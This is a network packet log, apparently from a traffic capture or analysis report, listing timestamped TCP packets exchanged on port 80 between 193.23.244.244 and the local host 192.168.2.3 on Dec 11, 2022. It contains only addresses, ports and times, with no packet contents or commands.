Dec 11, 2022 09:26:40.680733919 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680741072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680774927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680818081 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680823088 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680859089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680898905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680907011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.680939913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680979967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.680986881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681020975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681061983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681071043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681103945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681147099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681153059 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681188107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681227922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681236029 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681268930 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681309938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681318045 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681350946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681391954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681399107 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681432962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681476116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681484938 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681516886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681557894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681565046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681600094 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681658030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681663990 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681699038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681740046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681746006 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681781054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681822062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681827068 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681863070 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681904078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681909084 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.681947947 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681988955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.681998968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682029963 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682071924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682076931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682115078 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682157040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682166100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682198048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682240009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682243109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682281017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682322979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682327986 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682364941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682405949 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682414055 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682446957 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682488918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682499886 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.682529926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682571888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.682576895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.710974932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711031914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711076975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711097956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711119890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711148024 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711163998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711206913 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711267948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711324930 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711380959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711412907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711455107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711503029 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711560965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711627007 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711667061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711678028 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.711839914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.711893082 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712007999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712110996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712208033 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712230921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712272882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712316036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712357998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712379932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712398052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712438107 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712439060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712479115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712486982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712519884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712563038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712567091 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712603092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712645054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712651014 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712686062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712727070 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712733030 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712766886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712807894 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712812901 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712850094 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712893009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712898016 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.712934017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712975025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.712985992 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713016987 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713057041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713064909 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713098049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713140011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713145971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713181973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713226080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713229895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713267088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713310003 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713314056 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713351011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713392019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713397026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713433027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713474989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713481903 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713515997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713558912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713565111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713599920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713640928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713649035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713681936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713723898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713754892 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713763952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713804960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713845968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713887930 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713921070 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.713927984 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713968992 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.713979959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.714010000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714051008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714051008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.714091063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714133024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714153051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.714175940 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714215994 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.714217901 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.714242935 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.742698908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742763042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742809057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742851019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742871046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.742916107 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742917061 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.742958069 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.742960930 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.742999077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743037939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743074894 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743081093 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743128061 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743132114 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743170023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743212938 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743278027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743377924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743422031 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743429899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743531942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743570089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743724108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743839979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743880987 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.743911028 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743954897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.743992090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744020939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744067907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744162083 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744187117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744303942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744345903 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744385004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744451046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744492054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744494915 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744534969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744575977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744579077 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744620085 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744662046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744666100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744704008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744745016 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744745970 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744787931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744824886 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744828939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744869947 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744908094 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.744913101 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744955063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744997025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.744997978 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745039940 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745076895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745079994 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745124102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745163918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745167017 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745206118 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745244026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745249033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745290041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745331049 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745331049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745373011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745414019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745414019 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745455980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745491982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745496988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745538950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745578051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745582104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745624065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745665073 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745666027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745707035 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745745897 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745748997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745790005 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745826960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745831966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745872974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745917082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745919943 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.745956898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.745999098 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.746000051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.746042013 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.746083021 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.746128082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.746134996 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.746176004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.774451017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774605036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774676085 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774681091 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.774718046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774759054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774760008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.774800062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774838924 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.774841070 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774904013 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.774943113 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.774965048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775043011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775089979 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.775175095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775408030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775454044 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.775496960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775540113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775582075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.775587082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775712967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775878906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775927067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.775932074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775973082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.775983095 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776015043 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776053905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776110888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776124954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776154995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776160955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776195049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776237011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776237011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776278973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776319981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776319981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776361942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776403904 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776402950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776447058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776485920 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776489019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776529074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776566029 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776568890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776611090 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776650906 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776659012 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776691914 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776731968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776732922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776786089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776825905 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776828051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776869059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776906967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.776910067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776951075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.776993036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777005911 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777034998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777074099 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777075052 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777117968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777158022 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777159929 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777200937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777240992 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777241945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777282000 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777322054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777363062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777385950 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777401924 CET	80	49738	193.23.244.244	192.168.2.3
